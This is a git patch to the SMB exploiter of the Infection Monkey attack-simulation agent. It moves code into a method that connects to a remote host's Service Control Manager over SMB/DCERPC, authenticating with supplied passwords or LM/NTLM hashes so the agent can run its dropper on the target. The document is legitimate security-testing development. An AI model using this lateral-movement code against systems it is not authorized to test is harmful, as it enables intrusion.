From c3ba2cf6b2f340be430a14567402861c95f45dda Mon Sep 17 00:00:00 2001
From: Kekoa Kaaikala <kekoa.kaaikala@gmail.com>
Date: Thu, 6 Oct 2022 14:45:43 +0000
Subject: [PATCH] Agent: Extract method _get_rpc_connection

---
 monkey/infection_monkey/exploit/smbexec.py | 76 ++++++++++++----------
 1 file changed, 42 insertions(+), 34 deletions(-)

diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index 5108c85b3..a9b19a08a 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -4,6 +4,7 @@ from pathlib import PurePath
 from typing import Optional, Tuple
 
 from impacket.dcerpc.v5 import scmr, transport
+from impacket.dcerpc.v5.rpcrt import DCERPC_v5
 from impacket.dcerpc.v5.scmr import DCERPCSessionError
 
 from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
@@ -58,41 +59,9 @@ class SMBExploiter(HostExploiter):
         # execute the remote dropper in case the path isn't final
         cmdline = self._get_agent_command(remote_full_path, dest_path)
 
-        smb_conn = None
-        for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values():
-            rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
-            rpctransport.set_connect_timeout(LONG_REQUEST_TIMEOUT)
-            rpctransport.set_dport(port)
-            rpctransport.setRemoteHost(self.host.ip_addr)
-            if hasattr(rpctransport, "set_credentials"):
-                # This method exists only for selected protocol sequences.
-                rpctransport.set_credentials(
-                    creds.user,
-                    get_plaintext(creds.password),
-                    "",
-                    get_plaintext(creds.lm_hash),
-                    get_plaintext(creds.ntlm_hash),
-                    None,
-                )
-            rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS)
+        scmr_rpc = self._get_rpc_connection(creds)
 
-            scmr_rpc = rpctransport.get_dce_rpc()
-
-            try:
-                scmr_rpc.connect()
-            except Exception as exc:
-                logger.debug(
-                    f"Can't connect to SCM on exploited machine {self.host}, port {port} : "
-                    f"{exc}"
-                )
-                continue
-
-            logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}")
-            smb_conn = rpctransport.get_smb_connection()
-            smb_conn.setTimeout(LONG_REQUEST_TIMEOUT)
-            break
-
-        if not smb_conn:
+        if not scmr_rpc:
             msg = "Failed to establish an RPC connection over SMB"
 
             logger.warning(msg)
@@ -211,3 +180,42 @@ class SMBExploiter(HostExploiter):
             } + build_monkey_commandline(self.servers, self.current_depth + 1)
 
         return cmdline
+
+    def _get_rpc_connection(self, creds: SelectedCredentials) -> Optional[DCERPC_v5]:
+        for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values():
+            rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
+            rpctransport.set_connect_timeout(LONG_REQUEST_TIMEOUT)
+            rpctransport.set_dport(port)
+            rpctransport.setRemoteHost(self.host.ip_addr)
+            if hasattr(rpctransport, "set_credentials"):
+                # This method exists only for selected protocol sequences.
+                rpctransport.set_credentials(
+                    creds.user,
+                    get_plaintext(creds.password),
+                    "",
+                    get_plaintext(creds.lm_hash),
+                    get_plaintext(creds.ntlm_hash),
+                    None,
+                )
+            rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS)
+
+            scmr_rpc = rpctransport.get_dce_rpc()
+
+            try:
+                scmr_rpc.connect()
+            except Exception as exc:
+                logger.debug(
+                    f"Can't connect to SCM on exploited machine {self.host}, port {port} : "
+                    f"{exc}"
+                )
+                continue
+
+            logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}")
+            smb_conn = rpctransport.get_smb_connection()
+            smb_conn.setTimeout(LONG_REQUEST_TIMEOUT)
+            if smb_conn is None:
+                return None
+
+            return scmr_rpc
+
+        return None